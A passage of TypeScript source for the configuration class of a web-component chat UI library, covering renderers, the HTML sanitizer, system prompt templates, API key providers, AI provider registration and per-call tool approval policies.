true;\n private _elicitationLayout: 'stepped' | 'stacked' = 'stepped';\n /** Whether a single choice answers on the click (buttons) or keeps its radios + the composer's button. */\n private _elicitationAnswerOnClick = true;\n private _elicitationFieldRenderer?: AparteElicitationFieldRenderer | undefined;\n // Transport: where chat requests go + how auth is handled (AparteDirectTransport = browser-direct).\n private _transport: AparteTransport = new AparteDirectTransport();\n private _modelPreferenceProvider?: AparteModelPreferenceProvider;\n // Per-call approval policy (a mode: plan / ask / auto). `null` = the tools' own flags.\n private _approvalPolicy: AparteApprovalPolicy | null = null;\n\n // Conversation persistence (optional, agnostic)\n private _conversationManager?: AparteConversationManager;\n\n /*\n * Human-in-the-loop: presents typed input requests (ask_user, tool approval,\n * forms). Registered by the `<aparte-elicitation>` Web Component.\n *\n * A STACK, not one slot, and that is the fix for two real failures. Since\n * `<aparte-elicitation>` entered `<aparte-chat>`'s default composition, two plain\n * `<aparte-chat>` elements on a page each register one on the same global config:\n *\n * - the second clobbered the first, so chat A's approval opened under chat B, and\n * answering it under B decided A's tool call;\n * - and when B unmounted it cleared the slot, leaving chat A mounted with a\n * perfectly good presenter that never re-registered — every later approval and\n * every `ask_user` in A rejected `no-presenter` for the life of the page,\n * silently, because the warning fires at most once per config.\n *\n * Each entry carries the element that registered it, so a request naming a `target`\n * is routed to the presenter in the SAME chat, as `AparteElicitationRequest.target`\n * documents (\"used to resolve WHICH instance presents\").\n */\n private _elicitationPresenters: Array<{ fn: AparteElicitationPresenter; owner?: HTMLElement }> = [];\n /** Warn once per config, not once per request — a tool loop can ask repeatedly. */\n private _warnedNoPresenter = false;\n /**\n * The tail of the queue of requests waiting for the human, or `null` when none is.\n *\n * One request reaches the presenter at a time — not because a presenter could not\n * cope, but because the COMPOSER cannot: it has one panel slot, and a second\n * request would clobber the first's DOM. A second request WAITS: answering it\n * `cancel` on the spot would be a refusal invented for a question nobody was ever\n * shown.\n *\n * Here rather than in the presenter because this is the only place that sees\n * EVERY request whatever raised it — a tool handler, an app's own button, the\n * tool-approval gate. A custom presenter registered by a consumer gets the same\n * protection for free.\n */\n private _elicitationQueue = new Map<HTMLElement | null, Promise<void>>();\n\n // Tool Registry\n private _tools: Map<string, { tool: AparteTool; handler: AparteToolHandler }> = new Map();\n private _toolRenderers: Map<string, AparteToolRenderer> = new Map();\n private _toolSummaries: Map<string, AparteToolSummary> = new Map();\n private _toolInputFormatters: Map<string, AparteToolInputFormatter> = new Map();\n /** Tagged blocks the stream parser recognises in the prose — see {@link registerStreamBlock}. */\n private _streamBlocks: Map<string, AparteStreamBlock> = new Map();\n private _segmentDefaults: Map<string, AparteSegmentDefaults> = new Map();\n\n // Host handlers — what the app declares it can actually complete.\n private _hostHandlers: AparteHostHandlersConfig = { ...APARTE_DEFAULT_HOST_HANDLERS };\n\n // Bubble Actions — APARTE_DEFAULT_BUBBLE_ACTIONS is the single source of truth\n // (init here, restored by reset(), and the fallback in getBubbleActions()).\n private _bubbleActionsConfig: AparteBubbleActionsConfig = { ...APARTE_DEFAULT_BUBBLE_ACTIONS };\n\n // ─────────────────────────────────────────────────────────────────────────\n // Provider Setters (Dependency Injection)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register a custom action button. `zones` places it in the message (bubble)\n * toolbar. Re-registering the same id overwrites it. Notifies mounted elements\n * so they re-render. A button in the composer is an `<aparte-composer-action>`\n * element you write in your markup, not a registry entry.\n */\n registerAction(action: AparteAction): void {\n const existing = this._actions.findIndex(a => a.id === action.id);\n if (existing !== -1) {\n console.warn(`[AparteConfig] Action with ID \"${action.id}\" already registered. Overwriting.`);\n this._actions[existing] = action;\n } else {\n this._actions.push(action);\n }\n this._notify();\n }\n\n /** All registered actions for a zone, sorted by `order` (lower first). */\n getActions(zone: AparteActionZone): AparteAction[] {\n return this._actions\n .filter(a => a.zones.includes(zone))\n .sort((a, b) => (a.order || 0) - (b.order || 0));\n }\n\n /** Remove a custom action by id (from every zone); notifies mounted elements if it existed. */\n unregisterAction(id: string): void {\n const before = this._actions.length;\n this._actions = this._actions.filter(a => a.id !== id);\n if (this._actions.length !== before) this._notify();\n }\n\n /**\n * Configure which action buttons appear in message bubbles.\n * Unset keys keep their defaults — see {@link APARTE_DEFAULT_BUBBLE_ACTIONS}: `copy`\n * only, because every other button needs a host to honor it.\n *\n * @example\n * aparteGlobalConfig.setBubbleActions({ retry: true, edit: true }) // you run AparteClient\n * aparteGlobalConfig.setBubbleActions({ feedback: true }) // you listen for aparte-feedback\n * aparteGlobalConfig.setBubbleActions({ copy: false }) // hides copy; calls merge, so anything turned on above stays on\n * // Explicit per-role ordered sets (replace the flag defaults for that role):\n * aparteGlobalConfig.setBubbleActions({ user: ['edit', 'copy'], assistant: ['copy', 'thumbUp', 'thumbDown', 'retry'] })\n */\n setBubbleActions(config: AparteBubbleActionsConfig): void {\n this._bubbleActionsConfig = { ...this._bubbleActionsConfig, ...config };\n this._notify();\n }\n\n /**\n * Declare which host-dependent affordances your app handles. Core renders the\n * trigger only for the ones you claim — see {@link AparteHostHandlersConfig}.\n *\n * @example\n * aparteGlobalConfig.setHostHandlers({ attachmentPreview: true });\n */\n setHostHandlers(config: AparteHostHandlersConfig): void {\n this._hostHandlers = { ...this._hostHandlers, ...config };\n this._notify();\n }\n\n /** Returns the resolved host-handler declarations (undeclared = false). */\n // `Required<...>` rather than a hand-written shape: the previous signature\n // listed the three keys literally, so adding a fourth to the interface left\n // this method silently returning a type without it — the caller's read did not\n // even typecheck. Derived from the interface, a new declaration cannot be\n // forgotten here.\n getHostHandlers(): Required<AparteHostHandlersConfig> {\n return {\n attachmentPreview: this._hostHandlers.attachmentPreview ?? APARTE_DEFAULT_HOST_HANDLERS.attachmentPreview,\n };\n }\n\n /** Returns the resolved bubble actions config (flag defaults applied; per-role sets passed through). */\n getBubbleActions(): {\n copy: boolean;\n retry: boolean;\n edit: boolean;\n feedback: boolean;\n info: boolean;\n user?: AparteBubbleActionName[];\n assistant?: AparteBubbleActionName[];\n } {\n return {\n copy: this._bubbleActionsConfig.copy ?? APARTE_DEFAULT_BUBBLE_ACTIONS.copy,\n retry: this._bubbleActionsConfig.retry ?? APARTE_DEFAULT_BUBBLE_ACTIONS.retry,\n edit: this._bubbleActionsConfig.edit ?? APARTE_DEFAULT_BUBBLE_ACTIONS.edit,\n feedback: this._bubbleActionsConfig.feedback ?? APARTE_DEFAULT_BUBBLE_ACTIONS.feedback,\n info: this._bubbleActionsConfig.info ?? APARTE_DEFAULT_BUBBLE_ACTIONS.info,\n user: this._bubbleActionsConfig.user,\n assistant: this._bubbleActionsConfig.assistant,\n };\n }\n\n /**\n * Set a custom Markdown renderer (e.g., marked, maritime-it)\n */\n setMarkdownProvider(fn: AparteMarkdownProvider): void {\n this._markdownProvider = fn;\n bumpRenderingVersion(this);\n this._notify();\n }\n\n /**\n * Set an incremental (streaming) Markdown renderer provider. Optional —\n * when set, the chat bubble uses it to render the assistant message\n * token-by-token DURING streaming (incremental parse + DOM append, O(n)),\n * instead of re-parsing the whole string on every token. With no one-shot\n * `setMarkdownProvider` registered, it also renders a COMPLETE string\n * (`renderMarkdown`): a restored reply, a non-streaming provider's answer, a\n * stored segment — so a reply renders the same however it arrived. A registered\n * one-shot provider takes over for those, and re-renders the finished message\n * at full fidelity.\n */\n setStreamingMarkdownProvider(fn: AparteStreamingMarkdownProvider): void {\n this._streamingMarkdownProvider = fn;\n bumpRenderingVersion(this);\n this._notify();\n }\n\n /**\n * Create an incremental Markdown renderer bound to `target`, or `null` when\n * no streaming-markdown provider is registered (the caller then falls back\n * to the one-shot `renderMarkdown`).\n */\n createStreamingMarkdownRenderer(target: HTMLElement): AparteStreamingMarkdownRenderer | null {\n return this._streamingMarkdownProvider ? this._streamingMarkdownProvider(target) : null;\n }\n\n /**\n * Set a custom Syntax Highlighter (e.g., prism, highlight.js, shiki)\n * Supports both synchronous and asynchronous renderers.\n */\n setHighlightProvider(fn: AparteHighlightProvider): void {\n this._highlightProvider = fn;\n bumpRenderingVersion(this);\n this._notify();\n }\n\n /**\n * Whether a syntax-highlight provider is registered. Lets consumers (e.g.\n * the bubble) skip the highlight pass — and avoid replacing already-rendered\n * code blocks with the plain fallback — when no highlighter is installed.\n */\n hasHighlightProvider(): boolean {\n return !!this._highlightProvider;\n }\n\n /**\n * Replace or disable the HTML sanitizer applied to markdown/highlight\n * provider output before it is injected into the DOM. Defaults to a built-in\n * zero-dependency allowlist sanitizer.\n *\n * @param sanitizer A sanitizer function (e.g. a DOMPurify wrapper) for\n * hardened coverage, or `null` to DISABLE sanitization. Disabling exposes\n * you to XSS from LLM-authored content — only do so for content you fully\n * trust and have already sanitized upstream. `null` prints a console warning, once.\n * @example aparteGlobalConfig.setHtmlSanitizer((html) => DOMPurify.sanitize(html));\n */\n setHtmlSanitizer(sanitizer: AparteSanitizer | null): void {\n if (sanitizer === null) {\n // Passing null is a legitimate choice — an app that fully trusts its\n // own pipeline, or one swapping in DOMPurify at a different layer. But\n // it turns every renderer in this library into a raw `innerHTML` sink\n // for model output, and it used to happen in complete silence, which\n // is indistinguishable from a typo or a half-finished migration. One\n // line in the console, once, so the decision is visible where it takes\n // effect rather than only where it was written.\n console.warn(\n '[aparte] HTML sanitization is now DISABLED (setHtmlSanitizer(null)). '\n + 'Model-authored HTML will be inserted verbatim. Pass a sanitizer '\n + '(e.g. DOMPurify.sanitize) unless you sanitize upstream yourself.',\n );\n }\n this._sanitizer = sanitizer;\n }\n\n /**\n * Run the active sanitizer over provider-produced HTML. Public so a\n * streaming-markdown provider (which appends DOM directly, bypassing\n * `renderMarkdown`) can apply the same policy. Returns the input unchanged\n * only when sanitization was disabled via `setHtmlSanitizer(null)`.\n */\n sanitizeHtml(html: string): string {\n return this._sanitizer ? this._sanitizer(html) : html;\n }\n\n /**\n * Set the system prompt template. Supports `{{key}}` placeholders resolved via setSystemPromptVarsProvider.\n * Pass undefined to clear.\n */\n setSystemPrompt(template: string | undefined): void {\n this._systemPromptTemplate = template;\n }\n\n /** Get the raw system prompt template (with unresolved placeholders). */\n getSystemPromptTemplate(): string | undefined {\n return this._systemPromptTemplate;\n }\n\n /**\n * Register a function that returns a map of variable name → value.\n * Called at request time to resolve `{{key}}` placeholders in the system prompt.\n * Example: () => ({ 'settings.lang': 'French' })\n */\n setSystemPromptVarsProvider(fn: AparteSystemPromptVarsProvider): void {\n this._systemPromptVarsProvider = fn;\n }\n\n /**\n * Resolve the system prompt template by substituting all `{{key}}` placeholders.\n * Returns null if no template is set or the template is empty after trimming.\n */\n resolveSystemPrompt(): string | null {\n if (!this._systemPromptTemplate?.trim()) return null;\n const vars = this._systemPromptVarsProvider ? this._systemPromptVarsProvider() : {};\n const resolved = this._systemPromptTemplate.replace(/\\{\\{([^}]+)\\}\\}/g, (_, key) => vars[key.trim()] ?? '');\n return resolved.trim() || null;\n }\n\n /**\n * Set a custom Icon provider (e.g., Lucide, FontAwesome, Material). It replaces the\n * whole set, icons added with `registerIcons` included; a name it leaves out keeps\n * core's drawing.\n * @param provider Object implementing AparteIconProvider interface\n */\n setIconProvider(provider: AparteIconProvider): void {\n this._iconProvider = provider;\n // Notify so already-rendered components (bubble action bars, composer\n // controls re-rendered by consumers) can pick up the new icon set —\n // e.g. a live skin switch. setBubbleActions already notifies.\n this._notify();\n }\n\n /**\n * Add icons to the set, or redraw some of it, keeping the others. A name core does not\n * draw is welcome: an action's `icon`, `<aparte-composer-action icon>` and\n * `<aparte-icon name>` then find it. To type such a name, merge it into\n * `AparteIconProvider`: `declare module '@aparte/core' { interface AparteIconProvider { share?: () => string } }`.\n *\n * @example\n * aparteGlobalConfig.registerIcons({ share: () => '<svg class=\"aparte-icon\" viewBox=\"0 0 24 24\">…</svg>' });\n * aparteGlobalConfig.registerAction({ id: 'share', icon: 'share', label: 'Share', zones: ['bubble'] });\n */\n registerIcons(icons: Record<string, () => string>): void {\n // Layered over the provider rather than spread from it: a spread keeps own properties\n // only, and a provider written as a class draws from its prototype. One layer: a later\n // call adds to it (a plugin registering on each mount, a hot reload, call it often).\n const current = this._iconProvider;\n if (current && iconLayers.has(current)) {\n Object.assign(current, icons);\n } else {\n const layer = Object.assign(Object.create(current ?? null) as object, icons);\n iconLayers.add(layer);\n this._iconProvider = layer as AparteIconProvider;\n }\n this._notify();\n }\n\n\n /**\n * The icon set as a **complete** provider: every name resolves, falling back\n * to `APARTE_DEFAULT_ICON_FALLBACKS` for anything the registered provider doesn't\n * implement. Callers (bubble action bar, composer controls) can therefore\n * invoke `icons.copy()` unconditionally.\n *\n * A registered provider may implement only a subset of the names; the missing ones\n * fall back, so `icons.retry()` never throws \"is not a function\".\n */\n getIconProvider(): Required<Pick<AparteIconProvider, AparteCoreIconName>> & AparteIconProvider {\n const registered = this._iconProvider;\n const complete: Record<string, () => string> = {};\n for (const name of Object.keys(APARTE_DEFAULT_ICON_FALLBACKS) as AparteCoreIconName[]) {\n complete[name] = drawingOf(registered, name) ?? (() => APARTE_DEFAULT_ICON_FALLBACKS[name]);\n }\n // And the names core does not draw, so an action keyed on one finds it. A merged\n // name stays optional in the type: only the configs it was registered on hold it.\n for (const name of namesOf(registered)) {\n const fn = drawingOf(registered, name);\n if (fn && !(name in complete)) complete[name] = fn;\n }\n return complete as unknown as Required<Pick<AparteIconProvider, AparteCoreIconName>> & AparteIconProvider;\n }\n\n /**\n * Set a custom avatar renderer. Lets framework consumers (Angular,\n * React, Vue, …) mount live components in place of the default\n * avatar text/image. Cleared by passing `null`.\n */\n setAvatarProvider(provider: AparteAvatarProvider | null): void {\n this._avatarProvider = provider ?? undefined;\n // Notify like every other live-renderer swap so mounted bubbles re-render.\n this._notify();\n }\n\n /** Returns the registered avatar provider, or null if none. */\n getAvatarProvider(): AparteAvatarProvider | null {\n return this._avatarProvider ?? null;\n }\n\n /**\n * Set a custom typing-indicator renderer. Replaces the inner markup of\n * `<aparte-chat-status>` (avatar + animated dots + text) while the element keeps\n * owning show/hide. Return a string or an HTMLElement. Cleared by passing\n * `null`. Notifies mounted components so a live skin switch re-renders.\n */\n setStatusRenderer(renderer: AparteStatusRenderer | null): void {\n this._statusRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered status renderer, or null if none. */\n getStatusRenderer(): AparteStatusRenderer | null {\n return this._statusRenderer ?? null;\n }\n\n /**\n * Set a custom error renderer. Drives the content of error bubbles (the\n * built-in `error` segment) — return a string or an HTMLElement, e.g. a\n * friendly message with a retry button. The bubble also carries `data-error`\n * on its `.aparte-message` while errored, for CSS theming. Cleared with `null`.\n * Notifies mounted components so a live change re-renders.\n */\n setErrorRenderer(renderer: AparteErrorRenderer | null): void {\n this._errorRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered error renderer, or null if none. */\n getErrorRenderer(): AparteErrorRenderer | null {\n return this._errorRenderer ?? null;\n }\n\n /**\n * Set a custom attachment renderer. Replaces the chip rendered for each\n * attachment on a user message (default: image thumbnail / file chip) — return\n * a string or an HTMLElement, e.g. a PDF preview. You own the interactions for\n * custom output (see {@link AparteAttachmentRenderer}). Cleared with `null`.\n * Notifies mounted components so a live change re-renders.\n */\n setAttachmentRenderer(renderer: AparteAttachmentRenderer | null): void {\n this._attachmentRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered attachment renderer, or null if none. */\n getAttachmentRenderer(): AparteAttachmentRenderer | null {\n return this._attachmentRenderer ?? null;\n }\n\n /**\n * Set a custom sibling (branch) position indicator. Replaces the `‹ N / M ›`\n * counter between the prev/next arrows — e.g. dots. Return a string or an\n * HTMLElement (see {@link AparteSiblingNavRenderer}); the arrows keep their\n * behavior. Cleared with `null`. Notifies mounted components.\n */\n setSiblingNavRenderer(renderer: AparteSiblingNavRenderer | null): void {\n this._siblingNavRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered sibling-nav renderer, or null if none. */\n getSiblingNavRenderer(): AparteSiblingNavRenderer | null {\n return this._siblingNavRenderer ?? null;\n }\n\n /**\n * Set a custom bubble shell renderer (advanced) — replaces the structural\n * skeleton of `<aparte-chat-bubble>` while keeping its behavior. The shell must\n * honor the class-hook contract (root `.aparte-message`, region hooks) — see\n * {@link AparteBubbleShellRenderer}. For a fully custom element use `renderBubble`\n * (wrapper) instead. Cleared with `null`. Notifies mounted components.\n */\n setBubbleShellRenderer(renderer: AparteBubbleShellRenderer | null): void {\n this._bubbleShellRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered bubble-shell renderer, or null if none. */\n getBubbleShellRenderer(): AparteBubbleShellRenderer | null {\n return this._bubbleShellRenderer ?? null;\n }\n\n /**\n * Set the current locale\n * @param locale AparteLocale object defining all strings\n */\n setLocale(locale: AparteLocale & AparteLocaleExtensions): void {\n this._locale = locale;\n // A runtime language switch must propagate to already-mounted components,\n // same as every other live setter.\n this._notify();\n }\n\n /**\n * Restore the built-in English locale (the same `APARTE_DEFAULT_LOCALE` core ships\n * with). Counterpart of {@link setLocale} for language toggles — avoids\n * having to import `APARTE_DEFAULT_LOCALE` yourself.\n */\n resetLocale(): void {\n this._locale = APARTE_DEFAULT_LOCALE;\n this._notify();\n }\n\n /**\n * Get the current locale.\n *\n * Typed as the closed list PLUS the open half, and the asymmetry is the point:\n * `t()` keys on `AparteLocale` alone — a typo there is a compile error — while a\n * plugin reading its OWN key off this object gets `string | undefined` and\n * supplies its own default at the call site.\n *\n * `t()` is the one that has to be narrow, because it is the one that fails\n * silently: it returns `''` for a key nobody declared, and an empty label is\n * invisible on screen and in the console. A misspelt read here is `undefined`,\n * which the `?? 'fallback'` every caller already writes turns into the default.\n */\n getLocale(): AparteLocale & AparteLocaleExtensions {\n return this._locale;\n }\n\n /**\n * Extend the current locale with partial translations.\n * Useful for plugins to register their own strings.\n * @param translations Partial locale object to merge\n */\n extendLocale(translations: Partial<AparteLocale> & AparteLocaleExtensions): void {\n this._locale = { ...this._locale, ...translations };\n this._notify();\n }\n\n /**\n * An icon's markup by name: the registered drawing, else core's. A name neither holds\n * returns `undefined` — core's names always resolve, and a name merged into\n * `AparteIconProvider` stays possibly `undefined`: only the configs it was registered on\n * draw it.\n */\n getIcon(name: AparteCoreIconName): string;\n getIcon(name: string): string | undefined;\n getIcon(name: string): string | undefined {\n const icon = drawingOf(this._iconProvider, name);\n if (icon) return icon();\n // Own names only for the fallbacks: an attribute spelled `constructor` or `toString`\n // would otherwise read the object's prototype and print a function.\n return Object.prototype.hasOwnProperty.call(APARTE_DEFAULT_ICON_FALLBACKS, name)\n ? (APARTE_DEFAULT_ICON_FALLBACKS as Record<string, string>)[name]\n : undefined;\n }\n\n /**\n * Set a custom Key provider (e.g., AparteVault override)\n */\n setKeyProvider(provider: AparteKeyProvider): void {\n this._keyProvider = provider;\n }\n\n /**\n * Add a key source beside the one {@link AparteConfig.setKeyProvider | setKeyProvider()}\n * holds, and return the function that removes it. The sources are asked in the order they\n * were added, then `setKeyProvider`'s, and the first answer wins. `AparteClient`'s\n * `keyResolver` is registered this way, so the model selector can list a cloud provider's\n * models too. Each call is a source of its own, even with the same function.\n * @example\n * const release = aparteGlobalConfig.registerKeyProvider((providerId) =>\n * providerId === 'openrouter' ? localStorage.getItem('openrouter-key') : undefined);\n * // when what owns the key goes away:\n * release();\n */\n registerKeyProvider(provider: AparteKeyProvider): () => void {\n // A source on the CONFIG, not an answer from the client: the model selector reads\n // keys through `refreshProviderModels`, and a page with no client still lists models.\n // Wrapped, so the same function handed in twice is two sources: two panes sharing one\n // resolver are two mounts, and the first to unmount must not take the other's key.\n const entry: AparteKeyProvider = (providerId) => provider(providerId);\n this._extraKeyProviders.add(entry);\n return () => { this._extraKeyProviders.delete(entry); };\n }\n\n /**\n * The credentials for a provider: a key, or the `{ apiKey, endpoint }` record\n * the transport and `fetchModels` both read.\n *\n * ONE resolution order, so the chat and the model list cannot disagree about\n * what an endpoint is: a registered resolver (`AparteClient`'s `keyResolver`)\n * first — which is the precedence the client has always documented — then\n * `setKeyProvider`.\n *\n * Registered sources answer NEWEST first. A page that mounts a second chat, or\n * remounts one to swap its options — the swap the wrappers document — leaves\n * more than one source here, and insertion order made the first resolver the\n * page ever registered answer for every later one, so the key could not be\n * changed. The snapshot is deliberate too: a source torn down while an earlier\n * one is being awaited must not shift the iteration underneath it.\n */\n async getKey(providerId: string): Promise<string | Record<string, string> | undefined> {\n for (const provider of [...this._extraKeyProviders].reverse()) {\n const resolved = await provider(providerId);\n if (resolved) return resolved;\n }\n if (this._keyProvider) {\n return await this._keyProvider(providerId) || undefined;\n }\n return undefined;\n }\n\n /**\n * Fetch a provider's models, with the key and endpoint its key sources answer, so a\n * component that lists models never handles a key. The list is kept, and\n * `getCurrentModel()` reads the selected model's capabilities from it. Answers `[]` for an\n * unknown provider, one with no `fetchModels`, or a fetch that fails (with a console warning).\n */\n async refreshProviderModels(providerId: string): Promise<AparteAIModel[]> {\n const provider = this._aiProviders.get(providerId);\n if (!provider || !provider.fetchModels) return [];\n\n try {\n // The whole answer, not just a key: `{ apiKey, endpoint }` is what a\n // consumer pointing a preset at their own host configures, and\n // `fetchModels` reads the endpoint off it. May be undefined for keyless\n // local providers (e.g. LM Studio) — the provider handles that.\n const auth = await this.getKey(providerId);\n const models = await provider.fetchModels(auth);\n // Cached so `getCurrentModel()` can see it: a fetched list is the only\n // list a compat endpoint has, and capabilities are read off the model.\n this._fetchedModels.set(providerId, models);\n return models;\n } catch (error) {\n console.warn(`[AparteConfig] Failed to refresh models for ${providerId}`, error);\n return [];\n }\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // AI Provider Management (BYORK - Bring Your Own Key)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register one or more AI providers (e.g., OpenRouter, Gemini, Anthropic).\n *\n * When this leaves exactly one provider registered, offering exactly one model it knows\n * without a request (a scripted or an in-browser provider), and no model is selected,\n * that model is selected. A provider that lists its models over the network selects\n * nothing: name one with {@link AparteConfig.setModelConfig | setModelConfig()}, or let the\n * person pick in `<aparte-model-selector>`.\n * @param providers AparteAIProvider implementations\n * @example\n * aparteGlobalConfig.registerAIProvider(OpenRouterProvider);\n * aparteGlobalConfig.registerAIProvider(GeminiProvider, AnthropicProvider);\n */\n registerAIProvider(...providers: AparteAIProvider[]): void {\n for (const provider of providers) {\n if (!provider) continue;\n if (this._aiProviders.has(provider.id)) {\n console.warn(`[AparteConfig] AI Provider \"${provider.id}\" already registered. Overwriting.`);\n }\n this._aiProviders.set(provider.id, provider);\n }\n /*\n * One provider, one model, nothing selected: there is no choice to make, so it\n * is made. A scripted provider (`@aparte/provider-scenario`) or an in-browser\n * one offers exactly one model and knows it without a request — and without\n * this, a page with no `<aparte-model-selector>` and no `setModelConfig()` sent\n * nothing, silently (issue #29). Only the synchronous case: a provider whose\n * list comes from a fetch has no model to select yet, and the selector's\n * `auto-select` is what handles that one.\n */\n if (!this.hasSelectedModel() && this._aiProviders.size === 1) {\n const only = [...this._aiProviders.values()][0]!;\n const models = only.getModels();\n if (models.length === 1) {\n this._modelConfig = { ...this._modelConfig, defaultProvider: only.id, defaultModel: models[0]!.id };\n }\n }\n this._notify(); // Notify when providers change\n }\n\n /**\n * Unregister an AI provider\n */\n unregisterAIProvider(id: string): void {\n this._aiProviders.delete(id);\n // Notify like registerAIProvider does, so a mounted model-selector drops\n // the removed provider instead of showing a stale list.\n this._notify();\n }\n\n /**\n * Get all registered AI providers\n * Optionally filtered by enabled providers in config\n */\n getAIProviders(): AparteAIProvider[] {\n const all = Array.from(this._aiProviders.values());\n const enabled = this._modelConfig.enabledProviders;\n if (enabled?.length) {\n const result = all.filter(p => enabled.includes(p.id));\n return result;\n }\n return all;\n }\n\n /**\n * Get a specific AI provider by ID\n */\n getAIProvider(id: string): AparteAIProvider | undefined {\n return this._aiProviders.get(id);\n }\n\n /**\n * Set the transport that decides where chat requests go and how auth is\n * handled. Defaults to {@link AparteDirectTransport} (browser-direct — BYOK/local).\n * Use a `AparteBackendTransport` to keep API keys server-side (recommended for\n * production).\n */\n setTransport(transport: AparteTransport): void {\n this._transport = transport;\n }\n\n /** Get the active transport (AparteDirectTransport by default). */\n getTransport(): AparteTransport {\n return this._transport;\n }\n\n /**\n * Register a model preference provider for agnostic persistence.\n * The host app decides how/where to store the selected provider & model.\n * `load` answers `{ provider, model }` — the names {@link AparteModelPreference} reads —\n * and {@link AparteConfig.restoreModelPreference | restoreModelPreference()} applies it.\n * @example\n * aparteGlobalConfig.setModelPreferenceProvider({\n * save: (provider, model) => localStorage.setItem('model', JSON.stringify({ provider, model })),\n * load: () => JSON.parse(localStorage.getItem('model') ?? 'null'),\n * });\n * aparteGlobalConfig.restoreModelPreference();\n */\n setModelPreferenceProvider(provider: AparteModelPreferenceProvider): void {\n this._modelPreferenceProvider = provider;\n }\n\n /**\n * Decide per CALL whether a tool runs, asks, or is refused — a mode, not a flag.\n *\n * With a policy registered, the client's default approval channel evaluates it for\n * every tool call: `allow` runs without asking, `ask` puts the call to the person\n * exactly as a `needsApproval` tool is, `deny` refuses it with the policy's own\n * `reason` as what the model reads. `undefined` leaves the tool's `needsApproval`\n * to decide, as before. `null` removes the policy.\n *\n * `@aparte/plugin-approval` builds one from a classification of your tool names and\n * a switchable mode (plan / ask / auto-edit / auto); a host that owns its own\n * `approvalResolver` on `AparteClientOptions` is not affected — that resolver\n * already decides everything.\n *\n * @example\n * ```ts\n * aparteGlobalConfig.setApprovalPolicy((call) =>\n * call.name === 'run_command'\n * ? { verdict: 'ask' }\n * : { verdict: 'allow' });\n * ```\n */\n setApprovalPolicy(policy: AparteApprovalPolicy | null): void {\n this._approvalPolicy = policy;\n // Like every other registration: a mounted switch has to hear that a policy\n // arrived after it did, or went away.\n this._notify();\n }\n\n /** The registered approval policy, or `null`. */\n getApprovalPolicy(): AparteApprovalPolicy | null {\n return this._approvalPolicy;\n }\n\n /**\n * What the policy says about one call, with the tool's own `needsApproval` as the\n * answer when it has no opinion. The one place the two are combined, so the client's\n * gate predicate and its approval channel cannot disagree.\n */\n ruleOnToolCall(call: AparteToolCall): AparteApprovalRuling {\n const tool = this._tools.get(call.name)?.tool;\n const ruling = this._approvalPolicy?.(call, tool);\n if (ruling) return ruling;\n return { verdict: tool?.needsApproval ? 'ask' : 'allow' };\n }\n\n /**\n * Restore the saved model preference via the registered provider.\n * Should be called once at app startup, before any component mounts.\n * No-op if no provider is registered or nothing was saved. The saved selection is\n * applied without being saved again.\n */\n restoreModelPreference(): AparteModelPreference | null {\n if (!this._modelPreferenceProvider) return null;\n const pref = this._modelPreferenceProvider.load();\n if (pref?.provider && pref?.model) {\n // Apply silently without triggering save again\n this._modelConfig = { ...this._modelConfig, defaultProvider: pref.provider, defaultModel: pref.model };\n this._notify();\n return pref;\n }\n return null;\n }\n\n /**\n * Select the default provider and model, merged over the current selection. With a\n * model-preference provider registered and both set, the selection is saved through it.\n */\n setModelConfig(config: AparteModelConfig): void {\n this._modelConfig = { ...this._modelConfig, ...config };\n\n // Auto-save preference if a provider is registered and we have a full selection\n if (this._modelPreferenceProvider && this._modelConfig.defaultProvider && this._modelConfig.defaultModel) {\n this._modelPreferenceProvider.save(this._modelConfig.defaultProvider, this._modelConfig.defaultModel);\n }\n\n this._notify();\n }\n\n /**\n * Subscribe to configuration changes\n * @returns Unsubscribe function\n */\n subscribe(callback: () => void): () => void {\n this._listeners.add(callback);\n return () => this._listeners.delete(callback);\n }\n\n private _notify(): void {\n // Each listener is isolated: one throwing/slow subscriber must not abort\n // the loop and starve the others of the notification.\n this._listeners.forEach(cb => {\n try { cb(); } catch (err) {\n console.error('[AparteConfig] A config-change listener threw', err);\n }\n });\n // Also dispatch a browser event for maximum agnosticism. `config` lets\n // listeners ignore changes to a config that isn't theirs — components\n // resolving to a different instance (or the global) skip the rebuild\n // instead of every bubble on the page reacting to every config's change.\n if (typeof window !== 'undefined') {\n window.dispatchEvent(new CustomEvent<AparteConfigChangeEventDetail>('aparte-config-change', {\n detail: { config: this, modelConfig: this._modelConfig },\n }));\n }\n }\n\n /**\n * Get current model configuration\n */\n getModelConfig(): AparteModelConfig {\n return { ...this._modelConfig };\n }\n\n /**\n * True when the model config has BOTH a provider and a model selected — i.e.\n * the chat can actually send. Used by the composer's `require-model` gate.\n */\n hasSelectedModel(): boolean {\n return !!(this._modelConfig.defaultProvider && this._modelConfig.defaultModel);\n }\n\n /**\n * Elicitation policy: whether a choice offers a free-text \"Other…\" escape.\n *\n * This is the HOST's decision, not the model's: the `ask_user` schema handed to the\n * model carries no `allow_other` field, because a small model fills a field it does\n * not understand (a question with `allow_other: true` and no options renders a radio\n * list whose only entry is \"Other…\"). Default `true`. A direct `requestUserInput`\n * caller can still set `allowOther` per field; that is the app talking, and it wins.\n *\n * `layout` decides how a form of SEVERAL questions is presented.\n * `'stepped'` (default) asks them one at a time with a chip per question;\n * `'stacked'` puts them all in the panel at once — the shape of an MCP elicitation\n * FORM collecting structured data, which is why it stays an option, but not the\n * right default for two different questions asked mid-conversation.\n *\n * `answerOnClick` decides how a question asked ON ITS OWN with a single choice — an\n * `enum` without `multiple` or a `default`, a `boolean` without a `default` — is\n * answered. `true` (default) renders the options as buttons and the click is the\n * answer: one decision, one gesture, the shape every chat product uses for \"which\n * one?\". `false` keeps the radios and the composer's button, so a person can\n * change their mind before committing — the shape a form or a screen reader\n * flow may prefer, and the one a host that wants a uniform \"select, then send\"\n * across every question asks for. A form of several questions always collects and\n * submits, whatever this says.\n */\n setElicitationOptions(options: { allowOther?: boolean; layout?: 'stepped' | 'stacked'; answerOnClick?: boolean }): void {\n if (options.allowOther !== undefined) this._elicitationAllowOther = options.allowOther;\n if (options.layout !== undefined) this._elicitationLayout = options.layout;\n if 